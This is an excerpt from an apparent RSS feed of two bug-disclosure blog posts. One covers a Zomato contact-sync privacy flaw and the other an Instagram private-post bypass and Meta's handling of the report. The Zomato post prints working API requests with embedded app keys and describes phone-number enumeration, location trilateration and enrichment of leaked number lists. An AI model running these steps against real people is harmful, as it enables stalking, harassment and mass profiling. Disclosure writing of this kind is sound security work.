been?</p><p>I was just lazy at that time and didn’t give it a second thought until my last <a href="https://medium.com/@jatin.b.rx3/i-found-a-bug-that-exposed-private-instagram-posts-to-anyone-eebb7923f7e3"><strong>Instagram Privacy Bypass disclosure</strong></a><strong> </strong>gave me motivation to hunt more.</p><p>I chose the Zomato app, and this time I was 100% sure what to look for exactly. It’s dangerously simple: I sync and desync the API contact endpoints and view my contact’s collection. This allows me to see their recommendations. Finally, I query a specific restaurant endpoint to retrieve dish names, metadata, and coordinates.</p><p>I was able to assemble a working proof of concept in just 3 hours.</p><h3>Zomato’s Misleading UI: The Illusion of Consent in ‘Friend Recommendations’</h3><p>The core issue lies in a misleading design choice: <strong>The Definition of a Friend.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DmKVxhDcwcpEtZi8CIjuYQ.jpeg" /><figcaption>Zomato app user interface showing misleading privacy settings for friend recommendations.</figcaption></figure><p>In most social apps (Instagram, LinkedIn), a “connection” or “friend” is Mutual. I add you, you accept me, and then we share data. Zomato uses a <strong>Unilateral model.</strong></p><ul><li><strong>How Users Think It Works</strong>: “<em>I share my food history with my friends.</em>”</li><li><strong>How It Actually Works</strong>: “<em>Anyone who has my phone number can see my food history</em>.”</li></ul><p>I wrote a script to interact directly with the sync-desync contacts endpoint, skipping the app UI entirely:</p><ul><li>I upload a list of phone numbers (random or targeted. Potentially in thousands or even millions).</li><li>Zomato checks if those numbers have accounts.</li><li>Zomato returns the Recommendation History (Based on their order history), Taste Profile, and Ordered from Restaurants for every match.</li><li>There is no “Accept Request” button. The victim never gets a notification. If I have your number or if I can find your number, I have your data.</li></ul><p>They are attempting to build a social network on top of a delivery app, but they have stripped away the core safety feature of social networks: <strong>mutual consent</strong>.</p><h3>Exploiting Zomato API Endpoints: A Technical Proof of Concept</h3><p><strong>Step 1: The sync-contacts endpoint</strong></p><p><strong>Purpose</strong>: The attacker syncs the phone numbers they want to target.</p><p><strong>Request</strong>:</p><pre><br>curl -X POST &quot;https://api.zomato.com/gw/user-preference/recommendation/sync-contacts&quot; \<br>  -H &quot;Accept: image/webp&quot; \<br>  -H &quot;Accept-Encoding: gzip, deflate, br&quot; \<br>  -H &quot;Content-Type: application/json; charset=utf-8&quot; \<br>  -H &quot;Host: api.zomato.com&quot; \<br>  -H &quot;X-Zomato-Access-Token: &lt;Your Token Here&gt;&quot; \<br>  -H &quot;X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2&quot; \<br>  -H &quot;X-Zomato-App-Version: 931&quot; \<br>  -H &quot;X-Zomato-App-Version-Code: 1710019310&quot; \<br>  -H &quot;X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b&quot; \<br>  -d &#39;{<br>    &quot;flow_type&quot;: &quot;revamped_flow&quot;,<br>    &quot;contacts_access_level&quot;: &quot;full_access&quot;,<br>    &quot;contacts&quot;: [<br>      {<br>        &quot;phone_numbers&quot;: [&quot;+91 99999 99999&quot;],<br>        &quot;name&quot;: &quot;poc_contact_9999999999&quot;,<br>        &quot;id&quot;: &quot;1&quot;<br>      }<br>    ],<br>    &quot;location&quot;: {<br>      &quot;city_id&quot;: 11111,<br>      &quot;place&quot;: {<br>        &quot;delivery_subzone_id&quot;: 11111<br>      }<br>    }<br>  }&#39;</pre><p><strong>Response</strong>:</p><pre>{&#39;status&#39;: &#39;success&#39;, &#39;message&#39;: &#39;success&#39;}</pre><h4>Step 2: get-contacts we just synced</h4><p><strong>Purpose</strong>: This step is crucial. The API endpoint indicates if the target is a Zomato user and if they have public recommendations. Most importantly, it retrieves the encrypted_user_id associated with that phone number.</p><p><strong>Request</strong>:</p><pre>curl -X POST &quot;https://api.zomato.com/gw/user-preference/recommendation/get-contacts&quot; \<br>  -H &quot;Accept: image/webp&quot; \<br>  -H &quot;Accept-Encoding: gzip, deflate, br&quot; \<br>  -H &quot;Connection: keep-alive&quot; \<br>  -H &quot;Content-Type: application/json; charset=UTF-8&quot; \<br>  -H &quot;Host: api.zomato.com&quot; \<br>  -H &quot;X-Zomato-Access-Token: &lt;Your Token Here&gt;&quot; \<br>  -H &quot;X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2&quot; \<br>  -H &quot;X-Zomato-App-Version: 931&quot; \<br>  -H &quot;X-Zomato-App-Version-Code: 1710019310&quot; \<br>  -H &quot;X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b&quot; \<br>  -d &#39;{<br>    &quot;request_type&quot;: &quot;initial&quot;,<br>    &quot;additional_filters&quot;: {},<br>    &quot;page_type&quot;: &quot;contacts_management&quot;,<br>    &quot;removed_snippet_ids&quot;: [],<br>    &quot;page_index&quot;: &quot;1&quot;,<br>    &quot;count&quot;: 99999,<br>    &quot;is_gold_mode_on&quot;: false,<br>    &quot;keyword&quot;: &quot;&quot;,<br>    &quot;load_more&quot;: true<br>  }&#39;</pre><p>Simplified Response from <a href="https://github.com/jatin-dot-py/zomato-intelligence/blob/main/get_contacts.py"><em>get_contacts.py</em></a> (the actual response is a complex structure, as Zomato uses <strong>Server Driven UI</strong>):</p><pre>[<br>  {<br>    &quot;name&quot;: &quot;poc_contact_XXXXXXXXXX&quot;,<br>    &quot;is_zomato_user&quot;: true,<br>    &quot;has_recommendations&quot;: true,<br>    &quot;recommendations&quot;: 23,<br>    &quot;encrypted_owner_user_id&quot;: &quot;404d23c718d795dd649b326bdc9e492XXXXXXXXXXXXXXXXXXXXXX&quot;<br>  },<br>  {<br>    &quot;name&quot;: &quot;poc_contact_9999999999&quot;,<br>    &quot;is_zomato_user&quot;: false,<br>    &quot;has_recommendations&quot;: false,<br>    &quot;recommendations&quot;: 0,<br>    &quot;encrypted_owner_user_id&quot;: null<br>  }<br>]</pre><p>What is <strong>Encrypted User Id</strong>?: Instead of sending a public integer User ID, Zomato sends an encrypted_user_id so the user can be anonymized and the review data and potential PII does not get exposed from the following endpoint: https://zoma.to/u/123456</p><h4>Step 3: The get_listing_by_usecase endpoint. Get Restaurant Names for the “Encrypted User ID”</h4><p><strong>Purpose</strong>: The purpose of this request is to turn that number of Recommendations to actual restaurant names and their specific outlets.</p><p><strong>Request</strong>:</p><pre># Initial request cURL (for page 1; subsequent pages require dynamic postback_params)<br>curl -X POST &quot;https://api.zomato.com/gateway/search/v1/get_listing_by_usecase&quot; \<br>  -H &quot;Accept: image/webp&quot; \<br>  -H &quot;Accept-Encoding: gzip, deflate, br&quot; \<br>  -H &quot;Content-Type: application/json; charset=UTF-8&quot; \<br>  -H &quot;Host: api.zomato.com&quot; \<br>  -H &quot;X-Client-Id: zomato_android_v2&quot; \<br>  -H &quot;X-Zomato-Access-Token: &lt;Your token Here&gt;&quot; \<br>  -H &quot;X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2&quot; \<br>  -H &quot;X-Zomato-App-Version: 931&quot; \<br>  -H &quot;X-Zomato-App-Version-Code: 1710019310&quot; \<br>  -H &quot;X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b&quot; \<br>  -d &#39;{<br>    &quot;request_type&quot;: &quot;initial&quot;,<br>    &quot;page_type&quot;: &quot;collection_page&quot;,<br>    &quot;friend_recommendation_params&quot;: &quot;{\&quot;collection_type\&quot;: \&quot;RECOMMENDATION\&quot;, \&quot;owner_user_name\&quot;: \&quot;your_owner_name_here\&quot;, \&quot;encrypted_owner_user_id\&quot;: \&quot;your_encrypted_owner_user_id_here\&quot;}&quot;,<br>    &quot;count&quot;: 10,<br>    &quot;view_type&quot;: &quot;RESTAURANT&quot;,<br>    &quot;additional_filters&quot;: {},<br>    &quot;removed_snippet_ids&quot;: [],<br>    &quot;page_index&quot;: &quot;1&quot;,<br>    &quot;location&quot;: {<br>      &quot;entity_type&quot;: &quot;subzone&quot;,<br>      &quot;entity_id&quot;: &quot;9999999999&quot;,<br>      &quot;place_type&quot;: &quot;DSZ&quot;,<br>      &quot;place_id&quot;: &quot;9999999999&quot;<br>    },<br>    &quot;is_gold_mode_on&quot;: false,<br>    &quot;keyword&quot;: &quot;&quot;,<br>    &quot;load_more&quot;: false<br>  }&#39;</pre><p><strong>Simplified Response</strong> from <a href="https://github.com/jatin-dot-py/zomato-intelligence/blob/main/get_contact_collection.py"><em>get_contact_collection.py</em></a><em> </em>(Again the actual raw response has a complex structure):</p><pre>{<br>  &quot;success&quot;: true,<br>  &quot;total&quot;: 10,<br>  &quot;restaurants&quot;: [<br>    {<br>      &quot;name&quot;: &quot;Pizza Wings&quot;,<br>      &quot;res_id&quot;: &quot;XXXXXXXXX&quot;,<br>      &quot;chain_id&quot;: &quot;XXXXXXXXX&quot;,<br>      &quot;displayed_id&quot;: &quot;XXXXXXXXX&quot;<br>    },<br>    {<br>      &quot;name&quot;: &quot;Body Fuel Station&quot;,<br>      &quot;res_id&quot;: &quot;XXXXXXXXX&quot;,<br>      &quot;chain_id&quot;: &quot;XXXXXXXXX&quot;,<br>      &quot;displayed_id&quot;: &quot;XXXXXXXXX&quot;<br>    },<br>    {<br>      &quot;name&quot;: &quot;Domino&#39;s Pizza&quot;,<br>      &quot;res_id&quot;: &quot;XXXXXXXXX&quot;,<br>      &quot;chain_id&quot;: &quot;143&quot;,<br>      &quot;displayed_id&quot;: &quot;XXXXXXXXX&quot;<br>    },<br>    <br>    ...<br>  ],<br>&lt;redacted for brevity&gt;</pre><p>You will notice the following things in the response:</p><ul><li><strong>chain_id</strong>: Its the parent id for a outlet. For example, For a chain like Subway, chain_id never changes eg: 123, and the res_id would represent the Id of the specific outlet of that subway.</li><li><strong>res_id</strong>: Stands for the restaurant Id, represents the actual outlet location.</li></ul><p>For franchises like subway, KFC, etc, The chain_id never changes, the res_id represents the particular KFC or Subway for a certain area.</p><p>Zomato API, does not guarantee to give us specific res_id when the restaurant is a Chain. This could be due to several reasons like Availability, Zomato tends to return the res_id’s that could be closer, weather conditions, No nearby riders etc…</p><p>For local restaurants like “Body Fuel Station”, the chain_id, and the res_id always remains the same. Here, Zomato API is forced to return the specific outlet as it’s not registered as a Chain on Zomato.</p><p>By now, we have a list of the restaurant our target has at least ordered from once.</p><h4>Step 4: Extracting Specific Food Items From the list of restaurants we got for our target using gw/menu/{res_id} Endpoint</h4><p><strong>Purpose</strong>: You must have noticed, when you refresh the restaurant menu, on the top section as a filter you get to see what your contact (“Friend”) has recommended. The goal is to now extract those specific items.</p><p><strong>Request</strong>:</p><pre>curl -X POST &quot;https://api.zomato.com/gw/menu/&lt;res_id&gt;&quot; \<br>  -H &quot;Accept: image/webp&quot; \<br>  -H &quot;Accept-Encoding: gzip, deflate, br&quot; \<br>  -H &quot;Connection: keep-alive&quot; \<br>  -H &quot;Content-Type: application/x-www-form-urlencoded&quot; \<br>  -H &quot;Host: api.zomato.com&quot; \<br>  -H &quot;X-Zomato-Access-Token: &lt;Your Access Token&gt;&quot; \<br>  -H &quot;X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2&quot; \<br>  -H &quot;X-Zomato-App-Version: 931&quot; \<br>  -H &quot;X-Zomato-App-Version-Code: 1710019310&quot; \<br>  -H &quot;X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b&quot; \<br>  -d &quot;resID=&lt;res_id&gt;&amp;mode=delivery&amp;tabId=menu&quot;</pre><p><strong>Simplified Response</strong> From <a href="https://github.com/jatin-dot-py/zomato-intelligence/blob/main/get_menu.py"><em>get_menu.py</em></a> (Again, the actual structure is very complex):</p><pre>[<br>  {<br>    &quot;user_id&quot;: &quot;404d23c718d795dd649b326bdc9e492XXXXXXXXXXXXXXXXXXXXXX&quot;,<br>    &quot;ordered_items&quot;: [<br>      {<br>        &quot;name&quot;: &quot;Peri Peri Pizza&quot;,<br>        &quot;price&quot;: 289,<br>        &quot;image&quot;: &quot;https://b.zmtcdn.com/data/dish_photos/cea/20a8d49d5d4a28712956d92872636cea.png&quot;<br>      },<br>      {<br>        &quot;name&quot;: &quot;Mexican Pizza&quot;,<br>        &quot;price&quot;: 269,<br>        &quot;image&quot;: &quot;https://b.zmtcdn.com/data/dish_photos/260/7ce7ae6a108a3319f0b5a74a0cf0b260.png&quot;<br>      },<br>      {<br>        &quot;name&quot;: &quot;Jalapeno Garlic Bread&quot;,<br>        &quot;price&quot;: 239,<br>        &quot;image&quot;: &quot;https://b.zmtcdn.com/data/dish_photos/2a4/cdf164bb6648642a769403c7bd9392a4.png&quot;<br>      },<br>      {<br>        &quot;name&quot;: &quot;Farmer Choice Pizza&quot;,<br>        &quot;price&quot;: 299,<br>        &quot;image&quot;: &quot;https://b.zmtcdn.com/data/dish_photos/e35/b54ca6221ad549a9fa65376b6c0cae35.png&quot;<br>      }<br>    ]<br>  },<br>  {<br>    ...<br>  }<br>]</pre><p>We did it for one restaurant, but we have to run this script on each restaurant we identified from Step 3, and by then we will have a list of all dishes and the <strong>bare minimum price before discounts</strong>.</p><h4>Step 5: Enriching the list of Restaurants we got for the user with Specific coordinates</h4><p><strong>Purpose</strong>: The goal now is to enrich the list of all restaurants, to extract the latitude and longitudes.</p><p><strong>Request</strong>:</p><pre>curl -X POST &quot;https://api.zomato.com/gw/menu/res_info/&lt;res_id&gt;&quot; \<br>  -H &quot;Accept: image/webp&quot; \<br>  -H &quot;Accept-Encoding: gzip, deflate, br&quot; \<br>  -H &quot;Connection: keep-alive&quot; \<br>  -H &quot;Content-Type: application/json; charset=utf-8&quot; \<br>  -H &quot;Host: api.zomato.com&quot; \<br>  -H &quot;X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2&quot; \<br>  -H &quot;X-Zomato-App-Version: 931&quot; \<br>  -H &quot;X-Zomato-App-Version-Code: 1710019310&quot; \<br>  -H &quot;X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b&quot; \<br>  -H &quot;X-Zomato-Is-Metric: true&quot; \<br>  -H &quot;X-Zomato-UUID: b2691abb-5aac-48a5-9f0e-750349080dcb&quot; \<br>  -d &#39;{&quot;should_fetch_res_info_from_agg&quot;: true}&#39;</pre><p><strong>Simplified Response from </strong><a href="https://github.com/jatin-dot-py/zomato-intelligence/blob/main/get_res_meta.py"><strong><em>get_res_meta.py</em></strong></a>:</p><pre>{<br>  &quot;latitude&quot;: 30.XXXXXXXXXXX,<br>  &quot;longitude&quot;: 76.XXXXXXXXXXX,<br>  &quot;success&quot;: true<br>}</pre><p>We will repeat this process for each restaurant for a user, then we will have the following details:</p><ul><li>Restaurant Names</li><li>Specific Dishes, Images, Prices from all Restaurants</li><li>Latitude and Longitude of the Restaurant or the specific Outlet.</li></ul><h4>Final Aggregated Intelligence:</h4><p>So, using series of “intended” Zomato features, I was able to get this data from just a phone number !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jitVDUyXb8BNm80_YC8nHg.png" /><figcaption><strong>Figure L</strong> : Terminal output showing Python script scraping Zomato API for user restaurant data and coordinates.</figcaption></figure><p>Zomato could have automatically stopped me at Step 3 or 4 by just checking, if the connection is mutual.</p><h3>Real-World Exploitation: Location Inference via Zomato Data</h3><p>The security team’s defence was: “Restaurant coordinates represent publicly listed business locations, not user locations.”</p><h4>Case Study: Inferring a Target’s Approximate Location</h4><p>Let’s work through an actual example from my PoC data dump.</p><p><strong>Here’s what the API returned</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CaYuapy1Qtg0MYJodwzCZw.png" /><figcaption><strong>Figure M</strong>: POC script ran on a test user, returns all recommendations.</figcaption></figure><p>Notice: <strong>All local restaurants</strong>. Each has a unique res_id = chain_id, meaning these coordinates point to ONE physical location, not a chain.</p><h4><strong>The Delivery Radius Overlap:</strong></h4><p>Zomato’s typical delivery radius is 6<strong> km — 9 km</strong> depending on the restaurant opt in policy. Let’s be conservative and use <strong>6 km</strong> for local shops.</p><p>Also, to get accurate delivery radius, you could use the Zomato app/ automated scripts to change location strategically to see if that restaurant still delivers to that area. But I’m skipping that for this experiment.</p><p>When I plot the coordinates I got from the script on a map (will exclude cases where chain_id != res_id ):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u8b43IgcTr0P6sb5zHhL6g.png" /><figcaption><strong>Figure N</strong>: Map demonstrating location trilateration using overlapping Zomato delivery radiuses.</figcaption></figure><p>The overlapping area represents the area where ALL three restaurants can deliver. Approximately 6 sectors.</p><p>Not to mention, a bad actor would be smart enough to exclude areas like parks, empty fields, and water bodies.</p><h4><strong>Behavioural Pattern Analysis &amp; Narrowing the intersection point further</strong></h4><p>Look at the order frequency for a different person (Refer to <strong>Figure L</strong>):</p><ul><li>Approximately 4 items ordered from “Sethi ****”, seeing the nature of items, it can be said there were multiple orders.</li><li>More repeated items from other restaurants.</li></ul><p>What this means is, for frequently ordered items, we can reduce the default delivery radius assumption which creates a tighter intersection.</p><h3>Zomato Data Leak Risks: Seed Lists and OSINT Integration</h3><p>While Zomato classifies this as a social feature for individuals, the technical implementation creates a significant risk of Mass Data Enumeration.</p><p>Because the “Friend Recommendation” API allows for one-way syncing without a two-way “handshake” (User Approval), it is theoretically possible to automate this process at scale.</p><h4>“Seed Lists”</h4><p>An unsophisticated attacker might try to guess phone numbers sequentially (+91–98XXX…). However, sophisticated bad actors do not need to guess. They utilize “Seed Lists” — massive databases of valid Indian mobile numbers verified from previous security incidents.</p><p><strong>Example</strong>:</p><ul><li><strong>Truecaller :</strong> As reported by <a href="https://www.bankinfosecurity.asia/researcher-data-leaked-for-300-million-truecaller-users-a-12519">BankInfoSecurity</a>, data for nearly <strong>300 million Indian users</strong> has been previously exposed. This provides attackers with a ready-made directory of valid, active phone numbers mapped to real names.</li></ul><h4><strong>The Enrichment Attack:</strong></h4><p>Instead of blindly pinging random numbers, an attacker feeds these high-fidelity “Seed Lists” into the Zomato API.</p><ul><li><strong>Input:</strong> Valid Phone Numbers from seed lists.</li><li><strong>Zomato Output:</strong> Recommendations (derived from orders), Spending Power (avg. order value), and <strong>Approximate Physical Location</strong> (via delivery radius overlap).</li></ul><p>As a result<strong> </strong>this turns Zomato into an “Enrichment Engine.” An attacker starts with just a phone number from an old leak, and Zomato effectively updates that record with the victim’s approximate location and profile.</p><p>By leaving this data accessible via a simple phone number query, the system unintentionally exposes the food preferences, location patterns, and spending profiles of its user base to anyone with the technical means to collect it.</p><h3>Beyond “Public Business Data”: Why Location Matters</h3><p>Up until this point, we have narrowed a user down to a specific neighbourhood or a cluster of 6–8 sectors. Zomato’s defence is that restaurant coordinates are publicly listed business locations — and technically, they’re right.</p><p>But that misses the point entirely.</p><p>A phone number in India trivially resolves to a full name via any UPI app (Google Pay, PhonePe) or Truecaller. So the actual output of this attack isn’t “restaurants in a neighbourhood.” It’s <strong>a named individual, tied to an approximate residential area, with their food preferences and spending patterns attached.</strong></p><p>It’s not public data. That is a profile.</p><p>Combined with a name, that’s enough to make someone findable — and that’s the threshold that matters for stalking, harassment, or targeted social engineering.</p><p>Zomato calling this “Intended Behaviour” doesn’t change what the output actually is.</p><h3>How to Protect Your Privacy: Disabling Zomato Friend Recommendations</h3><p>To prevent your location and recommendation history from being scraped, you must manually opt out:</p><ol><li>Open the Zomato App and navigate to your Profile.</li><li>Click ‘Friend Recommendations’ under Food Delivery.</li><li>Turn the feature off using the toggle switch.</li><li>Manually delete past recommendations to clear your history from the public API.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KO6qqw_1xmXG5eOepA_UOQ.jpeg" /></figure><h3>Zomato Security News: A Timeline of Ignored Public Feedback</h3><p>Back in October 2025, both the tech press and the public sounded the alarm on this exact feature:</p><ul><li><strong>MediaNama</strong> published an in-depth piece titled: <em>“Is the ‘Loved by Friends’ Feature of Zomato Turning Private Food Choices Into Public Data?”</em> * After a thread blew up on <strong>Reddit</strong> (/r/IndiaTech) where users complained about their recommendation history (derived from orders)being exposed to contacts without mutual consent. (Source: <a href="https://www.medianama.com/2025/10/223-loved-by-friends-feature-zomato-private-food-choices-public-data/">https://www.medianama.com/2025/10/223-loved-by-friends-feature-zomato-private-food-choices-public-data/</a> ; <a href="https://web.archive.org/web/20260219120219/https://www.medianama.com/2025/10/223-loved-by-friends-feature-zomato-private-food-choices-public-data/">Archive</a>)</li><li><strong>Reddit Thread</strong>: <a href="https://web.archive.org/web/20260219120556/https://old.reddit.com/r/IndiaTech/comments/1nwsqho/wtf_zomato_big_privacy_fuckup/">web archive</a></li></ul><iframe src="https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;schema=reddit&amp;url=https%3A//www.reddit.com/r/IndiaTech/comments/1nwsqho/wtf_zomato_big_privacy_fuckup/&amp;image=" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/8a3f89272285f53992cdc5574d26dcbe/href">https://medium.com/media/8a3f89272285f53992cdc5574d26dcbe/href</a></iframe><p>Four months later, in January — February 2026, I demonstrated how it can be weaponized into a <strong>stalking tool</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4372ccf56a77" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-a-zomato-feature-enables-stalking-which-they-call-working-as-intended-4372ccf56a77">Zomato Privacy Flaw: How the ‘Friend Recommendations’ Feature Enables Location Stalking</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Found a Bug That Exposed Private Instagram Posts to Anyone.]]></title>
            <link>https://infosecwriteups.com/i-found-a-bug-that-exposed-private-instagram-posts-to-anyone-eebb7923f7e3?source=rss-3673457c8f2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/eebb7923f7e3</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[privacy]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Jatin Banga]]></dc:creator>
            <pubDate>Fri, 23 Jan 2026 19:22:01 GMT</pubDate>
            <atom:updated>2026-03-11T04:22:15.624Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RFcZRkk8RDlUjCwfAdmlSQ.png" /><figcaption><strong><em>DevTools showing `polaris_timeline_connection` with private post data exposed. Look at a complete sample response with leak </em></strong><a href="https://github.com/jatin-dot-py/instagram-private-bypass/blob/main/sample_response.html"><strong><em>here</em></strong></a>, <strong>sample json </strong><a href="https://github.com/jatin-dot-py/instagram-private-bypass/blob/main/network_logs_and_samples/sample_extracted_json_snippet_exposing_post_data.json"><strong>here</strong></a></figcaption></figure><p>In October 2025, I discovered a server-side vulnerability in Instagram that allowed completely unauthenticated access to private account posts. <strong>No login</strong> required. <strong>No follower relationship</strong>. Just an HTTP request with the right headers.</p><p>Meta silently patched it within 48 hours of receiving my report. Then they closed my case as “Not Applicable” — officially maintaining the bug never existed, despite fixing exactly what I reported.</p><p><em>A 102-day journey through Meta’s bug bounty process. This is the story of that disclosure.</em></p><h4><strong>The Discovery</strong></h4><p>I was building a workflow automation tool for HTTP requests when I stumbled onto something unexpected. While examining Instagram’s mobile web responses, I noticed CDN links being returned for content that shouldn’t have been accessible.</p><p>Private posts. Full resolution images. Captions. All of it embedded in the HTML response to an unauthenticated request.</p><p>My first instinct was disbelief. I reloaded the page. Ran the request again. Checked if I was somehow authenticated. I wasn’t. The data kept coming back.</p><p>I assumed it was a fluke — some kind of caching artifact that would disappear. But it didn’t. After multiple tests on the same account, I realized I needed to verify this properly. So I tested on my own private account: I made a post, waited a few hours, then ran the same request without authentication.</p><p>The post was there and the CDN links worked. This wasn’t a fluke.</p><h4><strong>How It Worked</strong></h4><p>The exploit was straightforward:</p><ol><li>Send an unauthenticated GET request to `instagram.com/&lt;private_username&gt;` with specific mobile headers</li><li>Server returns HTML containing embedded JSON with `polaris_timeline_connection`</li><li>Extract CDN links from the `edges` array</li><li>Access private photos with captions directly</li></ol><p>The server was actively generating this private data for unauthorized requests. This wasn’t a CDN caching issue — Instagram’s backend was failing to check authorization before populating the response.</p><p><strong>Demo of Poc.py</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FVTVdrvAJ28E%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DVTVdrvAJ28E&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FVTVdrvAJ28E%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/3a15d6fba208ff2afb038aa1ae057bb0/href">https://medium.com/media/3a15d6fba208ff2afb038aa1ae057bb0/href</a></iframe><p><strong>Poc script exposes private post:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bsBuODVfovCc1ygHt-bO8Q.png" /><figcaption><strong>Script shown in action exposing private post data. Source </strong><a href="https://github.com/jatin-dot-py/instagram-private-bypass/blob/main/network_logs_and_samples/videos.txt"><strong>Video 2</strong></a><strong> at 0:25 seconds</strong></figcaption></figure><p><strong>Poc script in action for a third party account:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rs5I1SCtOZ10bO5qXzxzQA.png" /><figcaption>Source <a href="https://github.com/jatin-dot-py/instagram-private-bypass/blob/main/network_logs_and_samples/videos.txt">Video 3</a></figcaption></figure><h4><strong>Testing Scope</strong></h4><p>I limited all formal testing to accounts I owned or had explicit permission to test. Out of 7 authorized accounts:</p><ul><li><strong>2 were vulnerable</strong> (~28%) — though given the accidental discovery on a non-authorized account, the true rate is likely higher</li><li><strong>5 were not affected</strong></li></ul><p>The vulnerability appeared to be <strong>conditional</strong> — not all private accounts were exposed. Initial testing suggested a correlation with account age, but the true cause was never determined.</p><p>The analysis of authorized testing is accessible here: <a href="https://github.com/jatin-dot-py/instagram-private-bypass/blob/main/analysis.json">https://github.com/jatin-dot-py/instagram-private-bypass/blob/main/analysis.json</a></p><h4><strong>The Report</strong></h4><p>On October 12, 2025, I submitted a detailed report to Meta’s bug bounty program with:</p><ul><li>Full technical explanation</li><li>Proof-of-concept script</li><li>Video demonstration</li></ul><p>The first report was quickly closed — Meta misinterpreted it as a CDN caching issue (Case Number: 1838087146916736). I immediately filed a second report (Case Number: 1838100803582037) with clearer language emphasizing this was a <strong>server-side authorization failure</strong>.</p><p>This time, Meta engaged.</p><h4><strong>Back and Forth</strong></h4><p>Over the next few days:</p><ul><li><strong>October 13</strong>: Meta asked me to test on their account, `2fa_2fa`. The exploit did not work — providing an early clue that this was a conditional bug.</li><li><strong>October 14</strong>: Meta requested another vulnerable account. I provided one (with consent): `its_prathambanga`. The exploit worked, and I sent video evidence of both manual browser reproduction and the POC script.</li><li><strong>October 15</strong>: I sent a detailed analysis explaining the two-part behavior: specific headers trigger a state where the server returns `0 followers / 0 following`, and in that state, the private timeline data is incorrectly populated for some accounts.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*XssghX4BAGZ9mWmGziqQBQ.png" /><figcaption>The “Trigger State”: Note the background stats. Despite accessing a private account with multiple followers, the server returns <strong>0 followers / 0 following</strong> (highlighted) with a story ring, confirming the session is in a corrupted state.</figcaption></figure><h4><strong>The Silent Patch</strong></h4><p>On <strong>October 16, 2025</strong>, I noticed the exploit no longer worked. Every account that was previously vulnerable now returned empty responses.</p><p>Meta had patched it. Silently. Without notification.</p><p>I sent a follow-up asking for confirmation that the vulnerability was fixed.</p><p>No response.</p><h4><strong>The Denial</strong></h4><p>Eleven days later, on <strong>October 27</strong>, I received Meta’s official response:</p><p><em>“We are unable to reproduce this issue.”</em></p><p>Unable to reproduce — the issue they had just patched.</p><p>I replied pointing out the contradiction: you asked for vulnerable accounts, I provided them, those accounts are now fixed. How is this unreproducible?</p><p>Meta’s response:</p><p><em>“The fact that an unreproducible issue was fixed doesn’t change the fact that it was not reproducible at the time. Even if the issue were reproducible, it’s possible that a change was made to fix a different issue and this issue was fixed as an unintended side effect.”</em></p><p>The case was closed as <strong>”Not Applicable.”</strong> No acknowledgment.</p><h4><strong>What’s Missing</strong></h4><p>Three things stand out:</p><ol><li><strong>Meta never requested the debug data I offered: </strong>I offered to provide full network logs with X-FB-Debug headers — everything needed to trace the issue internally. No response.</li><li><strong>No investigation despite a comparative account list : </strong>I provided a list showing which accounts were exploitable and which weren’t. This was a ready-made diagnostic dataset for understanding the conditional nature of the bug. No follow-up.</li><li><strong>No root cause analysis: </strong>Meta attributed the fix to “infrastructure changes” or “unintended side effect of other changes” — not a targeted fix based on investigation. Without identifying the root cause, there’s no confirmation the underlying issue is truly resolved.</li></ol><h4><strong>The Evidence</strong></h4><p>I documented everything with timestamps and integrity verification:</p><p><strong>POC Script</strong>: Python script that extracted private CDN links</p><p><strong>Before / After Screenshots</strong>: Same request, before and after patch</p><p><strong>Video Evidence</strong>: 4 timestamped recordings with SHA256 hashes, with historical git commit and push history</p><p><strong>Meta Communications</strong>: Complete PDF archive for all correspondence</p><p><strong>Network Logs, Exposed Link Samples</strong>: All headers with samples where the exploit worked, where it did not work and CDN links that were exposed.</p><p><em>All evidence was committed to </em><a href="https://github.com/jatin-dot-py/instagram-private-bypass"><em>Git</em></a><em> during the reporting process. The timestamps cannot be fabricated retroactively.</em></p><p><strong>Before &amp; After</strong></p><figure><img alt="" 